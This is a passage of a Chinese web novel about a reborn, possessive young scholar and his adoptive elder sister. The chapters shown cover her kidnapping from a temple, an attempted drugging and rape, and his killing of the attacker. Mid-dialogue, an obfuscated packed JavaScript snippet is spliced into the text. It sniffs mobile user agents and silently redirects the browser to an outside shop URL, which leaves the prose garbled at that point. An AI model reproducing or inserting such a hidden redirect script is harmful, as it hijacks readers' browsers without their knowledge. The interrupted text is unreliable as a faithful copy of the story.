若不是季珣,他又怎么会丢了云隐书院掌书的差事!这些日子,他每日待在家中借酒消愁,日子过得浑浑噩噩的,如今家中钱财都已然用尽,这才来姑母家中借钱补贴家用。 当初答应和姜芸薇相看,确实是存了几分利用之心,然而他还没有付诸行动,季珣便如此报复他,故意设计陷害,令他丢了差事,落到如今这副人不人鬼不鬼的模样。 他焉能不怨恨? 姜芸薇秀丽的眉头蹙起,目光一错不错的盯着他,“文公子把话说明白些,你如今这样和他有什么关系?” “他……” “阿姐,我找你许久了,原来你竟在此处。” 文司祁刚开了个头,便被一道温润含笑的嗓音给打断了。 文司祁听到这个声音,背脊倏地攀上一阵令人毛骨悚然的寒意。 他循着声音来源处看去,只见季珣正站在身侧不远,他生了一张如玉的面容,眉目舒朗清俊,黑眸深邃,那目光扫来时,不带丝毫情绪,却仿佛被冰冷的刀锋贴面而过,令人不寒而栗。 季珣什么时候来的,又听到了多少? 自从见识过季珣的手段后,只要见到此人,文司祁就有一种被毒蛇盯上的黏腻湿冷感。 姜芸薇看向季珣,“阿珣,你来的正好,文公子说你……” “我什么都没说!”文司祁声音尖锐的打断了她,很快,他又道:“我突然想起来还有些事情,就不奉陪了。” 话毕,不待两人回应,便匆匆转身走了。 他的步伐极快,像是身后有什么人在追赶似的,背影很快就消失不见了。 姜芸薇有些莫名的收回视线,“阿珣,文公子这是怎么了,他说他变成今日这副模样,都是你造成的。” 季珣解释道:“他这个人手脚不干净,偷了书院的孤本藏书,东窗事发后,院士便将他赶出去了,许是丢了差事后,生出什么妄念来了,总觉得自己如今变成这样,都是遭别人迫害。” 顿了顿,他薄唇微勾,含笑的眸子望向她,“阿姐方才不会真信了他所言吧?” 姜芸薇对上他的视线,心重重一跳,旋即,她手指绞着衣衫,似是有些羞愧,闷声讷讷道:“阿珣,对不起,我方才确实对他说的话半信半疑。” 顿了顿,她又仰起头,眼神亮盈盈的,“不过,你是我的弟弟,我们朝夕相处,难不成你是什么样的人,我还不清楚吗?旁人说的诋毁之言,我不会放在心上,我方才只是想弄清楚究竟发生什么事,现在都明白了,那个文公子果然不是什么好人,之前无缘无故消 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然而,当她那双温柔清澈如山泉一般的眼睛看着他时,那些汹涌而来的恶意,却瞬间败给了心底骤然升起的、更深的贪婪。 他要不惜一切,留住她眸底这一缕微光。 * 这样一番折腾下来,等到了青阳镇后,已经过了午时了,两人都没有用午膳,便将马车停靠在路边,随便找了家客栈吃饭。 此刻已经过了饭点,大堂内只有稀疏稀疏几人,姜芸薇和季珣两人找了个临窗的位置坐下,点了几道家常小菜。 不多时,菜便都上齐了,正要动筷子,这时候,客栈外突然传来一阵喧闹声,姜芸薇好奇的看了一眼,只见一群腰配长刀,身着甲胄的兵士分立两侧,正在肃清道路,身后跟着一辆通体玄黑,华贵异常的马车,里面坐着的人,一看就非富即贵。 姜芸薇对此并不感兴趣,只瞥了几眼,便收回了视线,埋头专心吃饭。 季珣却是眸光一沉,眼底墨色翻涌,如同砚台之中骤然化开的浓墨。 20. 第20章 季珣知道坐在马车之中的人是谁。 三皇子秦煜,亦是前世皇权之争中炙手可热的人选。 说起来,秦煜此人,文韬武略,识人善任,堪称一代枭雄,只可惜,最后却输在了儿女情长之上,为一人而倾覆全局,将万里河山,拱手让与他人。 倘若不是用他的心上人做威胁,逼得秦煜乱了分寸,前世皇位落在谁的手上还尤未可知。 果然是,自古英雄难过美人关。 前世,秦煜也曾招揽过他,只不过那个时候,季珣醉心权势,他看中了性情软弱、更好控制的六皇子秦彰,只是没想到,原来秦彰才是隐藏最深的人,表面上对他俯首帖耳,唯命是从,然而一朝得势,便迫不及待卸磨杀驴。 秦煜此时出现在青阳镇上,应是奉旨来剿匪的,近日,青阳镇上盗匪横行,前段时日,竟强抢官银,杀戮押送官员数十人。 朝廷大怒,责令青阳镇县令破案缉拿,然而盗匪占据有利地形,又凶狠残暴,压根找不到他们的巢穴,反而数次将前来剿匪的官差杀的铩羽而归,朝廷震怒,这才派了三皇子秦煜来此剿匪。 季珣眼睫低垂,将眸中翻涌的精光尽数掩下。 * 夜里,姜芸薇躺在床上,还是有些不太适应。 毕竟在柳溪村住了那么长的时间,如今乍然搬到镇上,对周遭的环境都不熟悉。 八月份,季珣便要去京城参加秋闱了,京城路途遥远,需要一大笔盘缠,等到了明日,她得去看看,附近有没有什么布庄,她得再接点绣帕子的活计。 今日劳累了一整天,姜芸薇想着想着,便不知不觉睡着了。 翌日清晨醒来时,季珣已经去书院了。 姜芸薇将昨日的换洗衣服洗了晾在院子里,正要出去买些新鲜的肉回来准备午饭,便听见院子外传来一阵响亮的敲门声。 她连忙上前打开门,只见屋外站着一位梳着妇人发鬓,脸庞圆润,穿着一身蓝布褂子的女郎。 那女郎笑起来眉眼弯弯,一看便十分好相处,“你是刚搬过来的吧?我就住你隔壁,我应该年长你几岁,你叫我许娘子就好了,你夫君也在云隐书院读书吗?” 这一连串的问题砸下来,姜芸薇头脑有些发懵,愣了愣,才连忙摆手否认,“不是不是,是我弟弟。” 许娘子是个热情健谈的,“原来是你弟弟啊,昨日你们回来,我远远瞥了一眼,你弟弟生得可真俊俏,在书院定然有很多小娘子喜欢吧。” 对于许娘子的热情,姜芸薇显然有些招架不住,她讷讷点了点头,“应当是吧,我也不太清楚。” “瞧你这害羞青涩的模样,应该还没嫁人吧?”许娘子笑着打量了她一番,“这周围住着的人,大多都是来陪家中郎君读书的,我的夫婿也是云隐书院的学子,我原本以为你也是和我一样,没想到你居然是陪弟弟,你们姐弟两人感情可真好。” 姜芸薇白玉般的脸颊顿时飞上一抹红晕,她低着头,声如蚊呐,“对,还没成亲呢,我和弟弟从小便相依为命,感情确实很好。” 姜芸薇和许娘子说了好一会话,又结伴一起去镇上买菜。 许娘子是个自来熟的,两人一路上说说笑笑,就连时间都过得快了许多。 不过大部分时间都是许娘子在说,姜芸薇安静的倾听着,一番交谈下来,她对许娘子的家中情况也有了基本的了解。 许娘子今年十八,她两年前嫁给夫君,家中婆母担心郎君一个人,便让许娘子在书院附近赁了个住所,方便贴身照顾夫婿的起食饮居。 “姜姑娘,你没成亲不知道,家中有个恶婆婆多难受,如今在这里照顾夫君,不用和婆母住在一起,我不知道多开心,真希望这样的好日子能够再久一点。”许娘子絮絮念叨着。 说着,她瞥了姜芸薇一眼,“姜姑娘,像你这样好性子的姑娘,将来倘若遇到那种不好相与的婆母,定然是要被磋磨死的,你将来找夫婿,可千万要擦亮眼睛,不仅要看未来夫婿的人品秉性,也要看他家中情形如何。” 姜芸薇一脸受教的点了点头,“多谢许娘子,我知晓了。” 得知姜芸薇想要接绣活,许娘子很热情的给她介绍了好几家绣坊,姜芸薇暗暗记在心中,准备将来得了空闲,再一家家亲自上门。 * 待到做完中午的饭食后,姜芸薇便提着食盒去了云隐书院。 此刻还未到饭点,书院门口只有稀稀疏疏几个人,她寻了个角落的位置,安静的等着季珣的到来。 林遇来的时候,瞧见的便是这样一副画面。 女郎穿着一身浅黄色的襦裙,腰间系着碧色绦带,头上只绾着素净简单的发髻,安静的立在那里,身姿窈窕,明眸皓齿,双瞳剪水,恍若三月枝头初绽的桃花,灼灼绽放。 “姜姑娘。”林遇上前,温声道:“你可是在此处等阿珣。” 姜芸薇闻声回头,瞧见是林遇,澄澈的杏眸微微圆睁,似乎有些惊讶,旋即,她点了点头,“是的,我来给阿珣送午膳。” 林遇低声到:“夫子将他叫去了,想必还要一会儿才能出来了。” “多谢林公子,我知晓了。”姜芸薇浅浅一笑。 姜芸薇生了一副姣好的容貌,清丽柔婉,她低眉浅笑时,眼波柔软,干净的像是山间初融的雪水,不带丝毫的杂质。 林遇心跳莫名漏了一拍。 好半晌,他才回过神来,从袖中取出一个油纸包,递到眼前女郎面前,“姜姑娘,方才家中丫鬟给我带来的荷花酥,可惜我不喜甜食,正好你替我吃了吧,省的平白浪费了。” 姜芸薇从未见过这么漂亮的糕点,形似荷花,酥层清晰,如同夏日池中荷花层层绽放,精巧可人,栩栩如生。 她连忙推辞道:“林公子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725043|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这太贵重了,你还是留着自己吃吧。” 林遇笑容温和,语气却分外坚持道:“姜姑娘,我真的不喜甜食,给我也是浪费了,你就不要客气了,实在不行,我就只能扔掉了。” 听他这样说,姜芸薇也不好再推辞,只好接了过来,“那就多谢林公子了。” 季珣静立在书院门口,将这一幕看在眼里。 平心而论,阿姐和林遇倒是分外般配,两人一个温婉善良,一个清正端方,并且都是彼此喜欢的类型。 而他,双手沾满了血腥,内心满是阴暗的念头。 然而,那又如何,林遇这样光风霁月的真君子,压根护不住阿姐,这个世界上唯有他,才能护住阿姐。 季珣眼底的阴鸷在刹那间如冰雪消融,他面上露出一抹温煦的笑容,走上前道:“阿姐,抱歉,我来迟了,让你久等了。” “我也刚到没多久。”姜芸薇嗓音温柔,“刚好碰到了林公子,便闲聊了几句。” 季珣淡淡瞥了林遇一眼,没有做声。 林遇敏锐的察觉到了季珣眸中的冷意,他轻咳了一声,很识趣的开口道:“那我就不打扰你们了,我先告辞了。” 待到林遇离开后,姜芸薇率先开口问道:“阿珣,夫子找你何事?” 季珣:“不过是些课业上的事情罢了,阿姐不必担心。” “那就好。”姜芸薇点了点头,“你如今秋闱在即,倘若发生了什么事情,一定要及时告诉阿姐。” 季珣淡淡“嗯”了一声,他视线一转,蓦地停留在姜芸薇手中的荷花酥上,眼神锐利如刀,“阿姐手中拿的是什么?” 姜芸薇顺着他的视线看了一眼,笑道:“哦,这个啊,是方才林公子送我的荷花酥,说起来,林公子可真是个好人呢,上次也是多亏他救了我。” 看着姜芸薇脸上灿烂的笑容,季珣指节微微收紧,面上却依旧淡如静水,“阿姐,我突然觉得腹中有些饥饿,这荷花酥能否给我垫垫肚子。” 姜芸薇只犹豫了一瞬,便立马将荷花酥递到了季珣的手中,“那你快吃些垫垫肚子吧,可千万别饿坏了身子,下次阿姐给你买些零嘴点心,平日里饿了便可以吃一些。” “多谢阿姐。”季珣唇角勾起一抹莫测的笑容,眸底暗流汹涌。 姜芸薇没有注意到他的情绪异常,温声叮嘱道:“还有这盒饭,你快些拿去饭堂吃吧,学习固然重要,也不能不顾惜自个儿的身体。” “好。”季珣接过饭盒,笑着点头应下。 待到姜芸薇离开后,季珣面上的笑容瞬间消失殆尽,他垂眸瞥向手中的荷花酥,眸中只剩下冰冷的审视和厌弃。 紧接着,他毫不犹豫地将荷花酥扔到一旁的地面上,仿佛掸去一粒尘埃,不过片刻,墙角便窜出一条野狗,叼起糕点狼吞虎咽起来。 季珣站在原地,垂眸面无表情的看着。 21、第21章 夜幕低垂,树影婆娑,季珣踏着浓重的夜色回到小院,透过窗棂,远远便瞧见屋内燃着一团柔和的、橘色的光晕。 他脚下步伐一顿,这暖黄色的光晕仿佛顺着经络,一路熨帖到心底。 姜芸薇正坐在桌边做绣活,闻声抬头,唇角自然而然地漾开抹笑意,一如春日初融的溪水,“阿珣,你回来了?今日怎么这么迟?” 季珣没有说话,而是展开手,将一个油纸包递到姜芸薇手中,“去东街新开的铺子买了些糕点,耽误了些时间。” “怎么突然想起去买糕点了?”姜芸薇微讶。 季珣幽深的眸子定格在她的脸上,暖黄色的光晕在她脸上镀上一层柔光,她整个人泛着莹莹的,柔和的光泽,“今日吃了阿姐的荷花酥,合该赔给阿姐。” 闻言,姜芸薇不禁莞尔,“我们姐弟之间,何须如此客气。” 季珣勾了一下唇角,“阿姐快趁热吃吧,凉了就不好吃了。” 姜芸薇点了点头,她接过尚有余温的油纸包,打了看了一眼,只见里面放着几块玲珑精致、桃花形状的粉色糕点,一阵清甜馥郁的香气萦绕在鼻尖。 她拈起一块糕点放入唇中,细腻绵软的口感在舌尖化开,甜而不腻,还隐约夹杂着红豆的清香。 姜芸薇舌尖轻轻扫过贝齿,将残留的糕屑卷入口中,她嘴角噙着一丝满足的笑意,抬眸望向季珣,满足的喟叹,“好吃,阿珣,你也吃一块。” 季珣喉结微动,他蓦地伸出手,在她唇角轻轻摩挲了一下。 力道轻柔的像是被羽毛拂过,却在姜芸薇细腻的肌肤上激起一阵细微的战栗。 姜芸薇被他突如其来的动作惊得一顿,她愕然抬眼,却恰好撞进他深邃的眼眸中,宛若两口深不见底的古井,能够将人的魂魄都吸进去,一种无处可逃的禁锢感突然攫住了她。 姜芸薇心中一紧,睫毛扑簌着颤动了两下。 “阿姐,你嘴角沾到了碎屑。”季珣的嗓音低沉沙哑,语调温和,似乎丝毫不觉得自己方才的举动有何不妥之处。 顿了顿,他又低笑一声,“我吃过了,这些都是给阿姐的,阿姐若是喜欢的话,我往后日日都给阿姐带。” 听他这样说,姜芸薇一时忘却了方才那一瞬间心头浮起的怪异感,连忙道:“不必了,阿珣,这糕点一定很贵吧?偶尔吃几次便好了,不用那么破费的。” 季珣嗓音温和,“只要阿姐喜欢,便不算破费,至于银子的事情,阿姐也不必费心——” 说着,他从袖袋中取出几锭银子,放在面前的方桌上,“阿姐,这些银子你先拿着用吧,倘若不够再告诉我。” 看着桌面上白花花的银锭子,姜芸薇不可思议的瞪大了眼睛,“阿珣,这些银子是从哪里来的?” 季珣平静解释道:“阿姐,这些银子都是我帮人抄书卖字画换来的。” 姜芸薇自然不会怀疑他,这么多银子,阿珣这些日子定然花了不少时间在这些事情上面,思及此,她有些担忧的说道:“阿珣,往后莫要再抄书卖字画了,你考试在即,别因为这些事情耽搁了学业,银子的事情往后都包在阿姐身上。” “阿姐不必担心,我有分寸,不会耽误学业的。”季珣语气温和,却透着不容置喙的强硬。 毕竟同处一个屋檐下这么久,姜芸薇对季珣的性子也算是颇为了解,他表面上看着温和好说话,然而一旦决定了的事情,便不会轻易更改。 姜芸薇只好不再多言。 怪不得现在的人倾家荡产也要供子孙后代去书院读书,阿珣不过只是卖些笔墨字画,便赚了她刺绣好几个月才能够攒到的银子。 倘若阿珣将来当真能够中个状元,往后至少不用再为生计发愁了。 七月下旬,暑气熏蒸,热浪滚滚,就连空气中都弥漫着粘稠的气息,距离秋闱之日,也越发的近了。 姜芸薇这些日子去书院送饭,都能够感觉出来那些学子脸上弥漫的焦灼感,仿佛一锅将沸未沸的浓粥,正咕嘟着压抑的气泡。 反倒是季珣,神情始终泰然自若,没有丝毫的慌张,有时候午后小憩方醒,竟慢条斯理地对着院内凋败的残荷,临摹起白描来,这样强大的心理素质,引得众学子皆是艳羡不已。 姜芸薇原本也有些紧张,瞧见他气定神闲的模样后,便也逐渐安了心。 * 这日,姜芸薇和许娘子两人约好了一起去宝安寺上香祈福。 宝安寺乃是方圆数百里最大的寺庙,香火非常鼎盛,两人一大早便起来了,一直到晌午时分,才总算是抵达了寺庙门口。 殿顶的琉璃瓦在阳光下流淌着金色的光辉,檀香袅袅如雾,在半空中漂浮着,目之所及处,皆是焚香祈福的信众。 阳光透过千年古树的枝叶,在青石板上洒下斑驳的光影,古朴的经卷气息扑面而来,仿佛能涤荡红尘带来的一切纷扰。 姜芸薇连呼吸都不自觉放轻了,唯恐惊扰了这份庄严与肃穆。 佛殿内,金身佛像巍峨耸立,高达数丈,阳光透过窗棂,为佛像镀上一层朦胧的金色光晕,令人不敢逼视。 姜芸薇跪在蒲团上,双手合十,虔诚的拜了三拜,神态恭敬端庄,她在心中默祷着:希望佛祖保佑,阿珣此次秋闱能够榜上有名。 待到拜完佛后,两人走出殿内,瞧见外面许多人都站在祈愿树下挂祈福牌,风吹过时,千万条朱红色的福带随风飘扬,如流云拂动。 “姜姑娘,不如我们也去挂一条福带祈愿吧?”许娘子提议道。 姜芸薇也正有此意,便点了点头应下。 祈愿树虬枝盘结,上面挂满了红绸木牌,姜芸薇向小沙弥讨了一块木牌,提笔在上面写上自己的心愿。 她正要挂上去,一个小沙弥突然走上前,双手合十道:“这位施主,你与我佛有缘,我们主持想见你一面。” 姜芸薇愣了愣,她下意识的看向一旁的许娘子。 许娘子用手肘推了她一把,喜道:“去吧,姜姑娘,这可是你的大造化,听说这里的主持可是得道高僧,多少人想见他一面都见不到。” 姜芸薇听后不禁也有些意动,她点了点头,跟在小沙弥的身后,朝着殿内的方向走去。 小沙弥走路很快,姜芸薇不得不加快脚步,才能勉强跟上他。 穿过了一条青石小径后,山路越发陡峭,两旁古树参天,浓荫蔽日,远处似乎隐约传来几声规律的木鱼声,糅杂着诵经的声音,地面落叶堆积,踩在脚下发出“咔嚓”的轻响,在寂静的山林里格外的清晰。 “小师傅,还要走多远?” 眼看着越走越偏僻,连鸟鸣都变得稀疏起来,姜芸薇终于忍不住驻足,低声问道。 那小沙弥却没有回答她的话,而且加快了脚步,飞快的拐入一旁的树林之中,身影三两下就消失不见。 姜芸薇心中一慌,正想要赶紧转身离开,身后蓦地窜出一道身影,用力在她脖领处劈了一下。 一阵剧烈的疼痛骤然袭来。 姜芸薇眼前一黑,瞬间便失去了意识。 * 而与此同时,书院内。 季珣正坐在座位上,翻看着手中的书册。 这书中的内容,他前世便倒背如流,这次的秋闱,他亦是胸有成竹。 今日,阿姐没有来书院送饭,她和旁人去宝安寺替他祈福去了。 近日,阿姐和隔壁的许娘子走的很近,两人经常待在一起,有时候她甚至还会邀请许娘子来家中用饭。 思及此,季珣垂下眼帘,掩去眸中的阴鸷。 他不喜欢阿姐的注意力落在旁人身上。 倘若阿姐,永远只属于他一个人就好了。 “诶,你听说没,昨日原本是王姑娘和方源的大喜之日,但是新娘几日前却逃婚了。” “为何逃婚啊,王家好歹也是青阳镇上有头有脸的大户人家,两家也算是门当户对。” “王姑娘生的貌若天仙,又知书达理,而那方源只是个纨绔子弟,倘若是我,定然也是要逃婚的,这下方家颜面尽失了,你看院士这段时间都没来书院,估计正为了宝贝女儿逃婚的事情头疼呢。” “以方源的性格,他肯定不会轻易善罢甘休的,今日他也没来书院,也不知道是不是觉得没脸见人了。” 身后两名学子的嬉笑议论声传入耳中,一字一句分外清晰。 季珣猛的回过头,眼风如刀,眸中森寒一片,“方源今日都没来书院?” 他的语气淬冰含霜,那两名学子瞬间噤若寒蝉,吓得额间都沁出了一层细密的冷汗,几息后,才颤抖着嗓音回答道:“对……” 季珣霍然站起身,快步走出了学堂。 瞧见他的背影消失不见,那两名学子这才松了口气,方才他们两人竟在季珣的身上,感受到了冰冷的杀意,令人不自觉浑身寒毛倒竖。《 》 22、第22章 姜芸薇许久未归,许娘子饶是再迟钝,也察觉到了异常。 她问了好几个小沙弥,却得知今日住持压根不在寺中。 那么,姜姑娘究竟去哪里了,怎么好端端的人竟失踪了!近日青阳镇上盗匪猖獗,该不会是被盗匪给掳走了吧? 许娘子正急得如同热锅上的蚂蚁一般团团转,面前蓦地笼罩上一团黑影。 她惊愕抬眼,只见季珣正面无表情的站在她身前,喉间滚出的声线像淬了冰,“她在哪里?” 他身上的气势太过冷冽,许娘子心中有些发怵,连忙飞快答道:“姜姑娘失踪了,有一个小沙弥谎称住持要见她,将她骗走了。” 此言一出,季珣神色骤冷,他目光森寒的扫了许娘子一眼,转身便消失在人群中。 许娘子站在原地,回味着方才季珣的眼神,身上不自觉吓出一身冷汗。 方才姜姑娘那位弟弟的眼神可真是瘆人,恍若一块浓得化不开的冰,连呼吸都裹着冷意。 * 宝安寺依山而建,山间道路蜿蜒曲折,岔路纵横难辩,季珣眉头紧蹙,正踌躇间,目光无意间扫过草丛缝隙,一抹刺目的红闯入眼帘。 季珣大步上前,捡起木牌,只见上面写着一行娟秀的小字——愿阿弟季珣平安喜乐,万事顺遂。 这一刹那,心口恍若被一双无形的手紧紧攥着,他几乎喘不过气来,紧握着木牌的手骨节泛白。 重活一世后,他早就已经变得心如止水,任何事情都无法掀起他的情绪波动,然而这一刻,一股暴虐嗜血欲在胸腔疯长,倘若姜芸薇有什么三长两短,他要这些人都给她陪葬。 季珣收回思绪,他眉眼阴鸷,循着掉落木牌的这条小径疾步而去。 * 姜芸薇醒过来的时候,发现自己正躺在一间破败的石屋内,这屋子一看就荒废已久,地面上堆积着枯败的杂草,墙角结着积满了灰尘的蛛网,她的双手被粗麻绳反绑在身后,几缕微弱的亮光从狭窄的木窗倾泻而下。 恐惧像一只无形的手,瞬间扼住了她的喉咙。 姜芸薇坐起身,神色慌乱的四处打量了一番,却没看到任何适合割断绳子的锐器。 她踉跄爬起,走到门口使劲拍打着破败的木门,木门被拍的“砰砰作响”,却无论如何都打不开,似乎是从外面被人锁住了,空气中弥漫着腐烂木头和尘土混合的呛人气味,直冲鼻腔。 姜芸薇不适的蹙紧了秀眉。 究竟是谁将她绑来这里的?方才带路的那个小沙弥? 不应该啊,她从未见过那个人。 幕后之人将她绑来又是为了什么,是求财还是什么仇家? 姜芸薇深吸一口气,强迫自己冷静下来。 许娘子发现她不见后,定然会来寻她,看外面的日光,眼下显然还没有天黑,那么此处应该还在寺院的山上。 如今,只能够寄希望于许娘子能够尽快寻到她了。 下一瞬,紧闭的屋门骤然被人打开,明亮的日光争先恐后的涌了进来,姜芸薇看清楚站在门口的男子时,她瞳孔一缩。 竟然是方源。 弟弟季珣的同窗。 姜芸薇心中一凛,一脸戒备的盯着来人,她吓得浑身都在发颤,却仍在强装镇定,勉强露出抹笑容,试图粉饰太平,“方公子,你为何要绑我?倘若是为了上次阿珣冒犯你的事情,我替他向你道歉。” 方源冷笑一声,面目狰狞可怖,“都是因为季珣,我的未婚妻才逃婚了,如今我成了整个书院的笑话,既然报复不了他,我便抓了你,让他也尝尝痛苦的滋味,你要怪,就只能怪你有这样一个弟弟,连累了你。” “你别过来!”看着一步步逼近的方源,姜芸薇彻底放弃了天真的幻想,她的嗓音因为恐惧而变了调子,“阿珣从未主动招惹过你,你的未婚妻逃婚,也和他毫无关系。” “都死到临头了,还在帮着你那个好弟弟说话,你们还真是姐弟情深啊。”方源目光黏腻而贪婪,像毒蛇的信子舔过她的全身,他蓦地嗤笑一声,不怀好意的笑道:“我听说你们不是亲姐弟,该不会其实早就背地里搞在一起,行那等悖乱人伦之事了吧?怪不得那个疯子看你的眼神不一样。” “你胡说!”姜芸薇气的涨红了脸,怒瞪着方源,胸腔剧烈起伏。 她和季珣之间清清白白,唯有姐弟之情,岂容他这般玷污! 方源浑浊淫邪的目光在她的脸上扫来扫去,“老子管你们有没有,你长得还算有几分姿色,既然我的未婚妻逃婚了,那便用你来赔吧。” 闻言,一股寒意从脚底直窜头顶,姜芸薇身子不停往后缩,直到背脊抵住冰冷的土墙,退无可退,她恐惧的浑身发抖,“你走开,你若是敢碰我,阿珣他是不会放过你的。” “你以为我当真怕他啊?”方源满不在乎的哼笑一声,“你和你弟弟不过是穷乡僻壤的小地方出来的乡巴佬罢了,我父亲在青阳镇那可是赫赫有名的乡绅望族,我弄死你们,就像碾死两只蚂蚁,哪怕你今日死在这里,也无人会为你讨回公道。” 他嘿嘿笑着,伸手便要来扯姜芸薇的衣襟,“不过你放心,我这个人最是怜香惜玉,待会儿保证让你快活似神仙。” 姜芸薇猛地偏头躲开他的触碰,恐惧像藤蔓般缠住心脏,勒得她喘不过气,她紧咬着唇,腮边垂泪,嗓音透着切金碎玉般的决绝,“你若敢碰我,我便立马咬舌自尽。” 方源啧了一声,“真是看不出来,还是个贞洁、烈女,不过,老子可不吃这套!” 话毕,他大手一挥,姜芸薇单薄的外衫顿时被扯了下来,冰冷的空气触到肌肤,激起一阵战栗。 极致的恐惧下,姜芸薇心中反而生出一股决然的勇气,她猛地一口咬在方源的手背上,用了十成的力气,几乎要生生剜下他身上的一块肉。 “啊!”方源痛呼出声,他勃然大怒,将姜芸薇狠狠掼在地上,又朝着她的小腹处狠狠踹了一脚,“贱女人,给脸不要脸,你以为你能逃得掉吗,待会儿有你求老子的时候。” 姜芸薇痛的不自觉蜷缩起身体,眼前阵阵发黑,衣襟蓦地被人扯住,一只粗粝的手掌强硬的掰开她的下颌,将一颗冰冷的药丸喂入她的口中。 她想要反抗,然而男人攥着她的手却犹如铁钳,压根无法挣脱,药丸入口即化,顺着咽喉滑入腹中,她心中涌起一阵绝望,难道这一次,真的要死了吗? 她还没有看到阿珣功成名就呢!真的好不甘心啊。 方源一把扯开姜芸薇的衣襟,露出胸前一大片雪白的肌肤,他眼神贪婪的盯着她,伸手便要去摸她的脸颊,“果真是个美人,你放心,待会保证会让你快活的。” 然而,他的手指还没有碰到姜芸薇的肌肤,下一瞬,屋门猛的被人一脚踹开。 方源下意识的回过头,刀刃穿透皮肉的闷响蓦地响起,与此同时,胸口传来一阵尖锐的疼痛,他低头看去,只见一柄冰冷的长剑贯穿了他的胸膛。 方源连一声惨叫都没有发出,便直愣愣的倒了下去,他双目圆睁着,一脸不可置信的神情,就那样断了气。 姜芸薇惊愕的望着立在门口的那个身影。 只见季珣手中握着长剑,血珠顺着刀刃蜿蜒而下,在地面晕开一朵朵暗红的花,他垂着眼,白衣上沾染了几点血迹,恍若雪地中绽放的红梅。 他的肤色是久不见天日的苍白,像被月光浸透的冷玉,那张素来清俊温和的面容此刻却蕴着藏不住的阴郁戾气,几滴血珠溅在他的脸上,妖异而又刺目。 姜芸薇颤抖着嗓音,“阿珣,你杀人了。”《 》 23、第23章 季珣目光落在姜芸薇的身上。 她鬓发散了大半,仅余一根木簪勉强固定住,单薄的身子犹如风中的枯叶,在角落里簌簌发抖,唇瓣咬出了殷红刺目的血迹,发丝亦被冷汗沁湿,贴在颊边,双眸水雾盈盈,像是含着泪。 这般娇弱又无助。 季珣眸光骤冷,喉间滚动着嗜血的念头,周身气压低的令人窒息。 欺负她的人,都合该下地狱才是! 倘若不是害怕吓到了姜芸薇,他绝不会让方源死的如此便宜。 季珣几步上前,将她手上绑着的绳索割断,那双原本莹白如玉的手腕,此刻被勒出两道深深的痕迹,映在白皙的肌肤上,格外的触目惊心。 季珣眸色又冷了几分,淬着慑人心魄的寒,他缓缓抬手,指腹轻轻摩挲她手腕上青紫色的痕迹,动作缱绻而又温柔,“阿姐,抱歉,是我来迟了。” 姜芸薇显然并未注意到他这一逾矩的举动,她僵坐在原地,大脑一片空白,方才那一幕——季珣面无表情的握着长剑,利器划破皮肉的闷响、方源倒在血泊中的画面,在她脑海里反复冲撞,让她几乎喘不过气来。 直到季珣的声音响起,陡然间唤醒了她混沌的思绪,她猛的一把攥住眼前之人的手腕,力道极大,嗓音颤抖尤带着哭腔,“阿珣,你快逃吧,现在赶紧离开这里,就说人是我杀的,你今天压根没来过这里!” “阿姐,你冷静点,不会有事的,他想要欺凌你,是他该死。”季珣目光黏在她泪湿的脸颊上,胸腔蓦地涌起一阵难言的酸涩感,心口像是被什么东西狠狠撞了一下,泛着细密的钝痛。 “阿珣,可是杀人是要偿命的啊!”姜芸薇泪水如同断线的珠帘一般,簌簌往下落,她哽咽难言,愧疚像藤蔓一样,在她心底疯狂滋长,缠绕得她喘不过气。 都怪她! 倘若不是为了救她,阿珣也不会杀人! 他下个月便要秋闱考试了,如今却惹上了人命官司,究竟该怎么办? “阿姐,别哭了,我不会有事的。” 姜芸薇晶莹的泪水就像是滚烫的熔岩,每一滴都灼在季珣的心上,他心中涌起一阵难言的躁郁,抬起手,用指腹温柔的擦拭着她眼角的泪珠,“相信我,我有办法摆平此事。” 闻言,姜芸薇果真冷静了几分,她雾濛濛的眸子直愣愣的盯着他瞧,双颊晕红,泪光楚楚,“阿珣,你有何办法,方源乃是富贵人家的公子,如今死在这里,方家定然不会就此善罢甘休的。” 季珣语调始终温和而又平静,极有耐心的宽慰着她,“阿姐,这你就别管了,总之,不会有事的。” 许是他镇定自若的模样感染了姜芸薇,她慌乱的心竟奇异般的安定了下来,浑身力气恍若一刹那间被抽干,她无力的摊坐在地上,心中涌起一股劫后余生的庆幸。 幸好! 幸好季珣及时赶到! 否则,她今日定然难逃一死。 倘若方源真要强逼她,她是宁死也不肯从的! 想到这里,一直紧绷的心弦骤然松懈下来,她仰起头,好奇的问,“阿珣,你是怎么寻到我的?” 季珣缓缓取出袖中藏着的红绸木牌,眸中笼罩着一层浓重的暗色,“多亏了此物,才让我寻到了阿姐的踪迹。” 姜芸薇眼眸微弯,柔声道:“幸好!当时我反应过来那个小沙弥不太对劲,在问他话之前,留了个心眼,将身上藏着的这个木牌扔进了草丛之中,这才让你顺着那条路找到了我。” 现在想起此事,姜芸薇依旧心有余悸,幸好老天爷还是眷顾着她的,令阿珣能够顺利的找到她。 只是…… 她视线一转,目光落在一旁方源的尸体上。 地面上早就已经洇满了一大片的血迹,空气中浮动着浓烈的血腥味,让人几欲作呕,她只囫囵看了一眼,便吓得立马收回了视线。 她并不同情方源,此人今日做下这种丧尽天良的事情,如今惨遭横祸,是他罪有应得,只是阿珣,却因此双手沾染了血腥…… 虽然他说有办法解决,然而姜芸薇的心中却还是不可抑制的开始担忧起来。 这可是人命官司啊,死的还是青阳镇的乡绅之子,他们姐弟两人只是平头百姓,如何斗得过他们? 倘若季珣当真出了什么事情,她又有何颜面去见九泉之下的季母? 想到这里,姜芸薇愈发不敢在这个是非之地久留,她抬起头望向季珣,语气有些急切的开口说道:“阿珣,事不宜迟,我们快些离开这里吧。” “好,我扶阿姐起来。”季珣嗓音温和。 话毕,一只骨节分明的手掌稳稳托着她的臂弯,将狼狈坐在地上的女郎扶了起来,他掌心炙热的温度,恍若隔着一层薄薄的衣料,传递到了对方的身上。 